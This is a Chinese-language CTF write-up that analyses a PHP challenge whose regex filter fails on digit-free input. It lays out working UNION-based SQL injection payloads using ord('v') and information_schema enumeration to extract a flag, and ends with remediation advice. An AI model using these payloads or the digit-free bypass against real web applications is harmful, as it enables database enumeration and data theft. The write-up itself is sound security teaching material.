CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程
CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程
一、前言
遇到一道 Pediy 平台的 CTF SQL 注入题,源码审计发现后端用preg_match正则过滤了 SQL 注入关键词,但正则表达式存在逻辑盲点——仅拦截含数字的恶意输入,完全无数字的 Payload 可长驱直入。
本文完整记录源码审计 → 正则分析 → 绕过思路 → 注入获取 flag全流程。
二、题目源码
<?phprequire("conf/config.php");if(isset($_REQUEST['id'])){$id=$_REQUEST['id'];if(preg_match("/\d.+?\D.+/is",$id)){die("Attack detected");}$query="SELECT text from UserInfo WHERE id = ".$id.";";$results=$conn->query($query);echo"学号:".$id.",成绩为: ".$results->fetch_assoc()['text'];}?>关键点:
$_REQUEST['id']— 支持 GET / POST / COOKIE 传参$id直接拼接 SQL — 存在SQL 注入preg_match正则拦截 — 存在WAF,绕过即可注入
三、正则逐段分析
正则表达式
/\d.+?\D.+/is| 部分 | 含义 | 说明 |
|---|---|---|
\d | 匹配一个数字(0-9) | 匹配到数字才开始匹配 |
.+? | 匹配 1 个以上任意字符(非贪婪) | 尽可能少地匹配 |
\D | 匹配一个非数字字符 | 与\d互补 |
.+ | 匹配 1 个以上任意字符(贪婪) | 尽可能多地匹配 |
i修饰符 | 忽略大小写 | 本题中无字母,无关 |
s修饰符 | .可匹配换行符\n | 无法通过换行绕过 |
匹配逻辑
该正则要匹配成功,输入必须同时满足4 个条件:
数字+至少1个任意字符+非数字+至少1个任意字符
举例:
| 输入 | 匹配过程 | 结果 |
|---|---|---|
1 UNION SELECT | \d=1,.+?=,\D=U,.+=NION SELECT | ❌ 被拦截 |
1' OR 1=1 -- | \d=1,.+?=',\D=,.+=OR 1=1 -- | ❌ 被拦截 |
12345 | 全是数字,\D永远匹配不到 | ✅ 放行 |
hello | 没有数字,\d永远匹配不到 | ✅ 放行 |
核心漏洞
正则没有^和$锚点,但只要输入中完全没有数字0-9,那么\d在任意位置都匹配失败,整个正则返回0(未匹配),WAF完全失效。
四、注入思路
绕过方案:不使用任何数字
构造纯字母/符号的 SQL Payload,使输入中不含 0-9 任意数字,正则因找不到\d而放行。
关键技巧:用 MySQL 函数替代硬编码数字
SQL 中WHERE id = 数字通常需要写一个整数,但整数包含数字字符。替代方案是使用 MySQL 函数动态生成数值:
| 函数 | 结果 | 说明 |
|---|---|---|
ord('v') | 118 | 返回字符 ‘v’ 的 ASCII 码(118) |
ord('a') | 97 | 返回字符 ‘a’ 的 ASCII 码 |
ord('A') | 65 | 返回大写字母的 ASCII 码 |
ord('0') | 48 | 注意'0'是字符,不是数字,无数字字符 ✅ |
ord('v')既是一个有效的学号(假设 118 号有数据),又完全不含数字字符,两全其美。
完整注入链
Step 1:验证注入存在
POST / id=ord('v') union select 'hello' -- -- 输入:
ord('v') union select 'hello' -- -(POST 方式传入) - 含数字?没有✅ 正则放行
- SQL:
SELECTtextfromUserInfoWHEREid=ord('v')unionselect'hello'-- -;ord('v')返回 118,如果学号 118 存在则返回该行数据,再 UNION 追加一行
Step 2:查数据库名
POST / id=ord('v') union select database() -- -无数字 ✅ 放行
Step 3:查所有表名
POST / id=ord('v') union select group_concat(table_name) from information_schema.tables where table_schema=database() -- -无数字 ✅ 放行
Step 4:查 flag 表的列名
POST / id=ord('v') union select group_concat(column_name) from information_schema.columns where table_name='flag' -- -无数字 ✅ 放行(注意假设 flag 表名为flag,实际按 Step 3 结果调整)
Step 5:读 flag
POST / id=ord('v') union select group_concat(flag) from flag -- -无数字 ✅ 放行,页面输出 flag。
五、最终 Payload
POST 方式(原生 form 表单提交):
POST / HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded id=ord('v')+union+select+group_concat(flag)+from+flag&submit=Submit
+在 URL 编码中等价于空格,所以实际$_REQUEST['id']值为:ord('v') union select group_concat(flag) from flag全程无数字,正则放行 ✅
六、拓展思考:如果表和列名含数字怎么办?
某些场景下表名或列名可能带数字,如flag_2024。此时 Payload 中出现数字会触发正则拦截。
方案 1:用ord()拼接标识符
若表名含数字如flag_2024,可尝试用别名或动态 SQL 绕过,但标识符中的数字无法用ord()替代。此时需换思路。
方案 2:如果表名/列名固定含数字
难以完全绕过本正则,可换用id=纯数字方式做盲注(纯数字放行,但注入能力有限)。
方案 3:其他无数字函数
MySQL 中还有一系列无数字字符的内置函数可用于注入:
| 函数 | 用途 | 含数字? |
|---|---|---|
version() | 获取 MySQL 版本 | ❌ 无 |
database() | 当前数据库名 | ❌ 无 |
user() | 当前数据库用户 | ❌ 无 |
current_user() | 当前用户 | ❌ 无 |
now() | 当前时间 | ❌ 无 |
concat() | 字符串拼接 | ❌ 无 |
group_concat() | 分组拼接 | ❌ 无 |
七、正则绕过原理总图
输入字符串 │ ├── 含有数字 0-9 ──→ \d 匹配成功 │ │ │ ┌─────┴──────┐ │ │ 后面还有 │ │ │ 非数字+字符?│ │ ├─────┬──────┤ │ │ 是 │ 否 │ │ │ ❌拦截│ ✅放行│ │ │ │(纯数字)│ │ └─────┘ │ │ │ └── 不含数字 ───────────────→ ✅ 放行 (完全绕过)本题的核心绕过点就是:正则依赖\d作为触发条件,只要 Payload 中没有 0-9 任意数字,整个正则永远不会匹配。
八、漏洞总结与修复建议
1. 漏洞成因
| 问题 | 说明 |
|---|---|
| 🚫 正则逻辑缺陷 | 依赖\d触发匹配,无数字的 Payload 完全绕过 |
| 🚫 无锚点限制 | 未加^...$,只要某处匹配失败即失效 |
| 🚫 直接拼接 SQL | $id未做转义或参数化查询 |
2. 服务端修复方案
- ✅使用参数化查询(Prepared Statement),彻底杜绝 SQL 注入;
- ✅正则增加锚点
^...$并严格限制允许字符:if(!preg_match('/^\d+$/',$id)){die("Invalid input");} - ✅使用 intval 强制转整型:
$id=intval($_REQUEST['id']);
九、文末小结
本题的正则/\d.+?\D.+/is看起来拦截了1 UNION...这类经典注入,但致命缺陷在于以\d为触发条件,导致不含数字的 Payload 被完全放行。
关键技巧在于用ord('v')这样的 MySQL 函数代替硬编码数字——既提供了 SQL 所需的整数值,又保证整个 Payload 不含一个数字字符。
💡CTF 经验总结:分析正则 WAF 时,逐字符审查每个匹配条件。找到正则的"触发前提条件",然后构造不满足该前提的 Payload 即可绕过——有时不需要绕过正则本身,只需要让它"不想匹配"。而
ord()+group_concat()的组合是这类题目的经典答案。
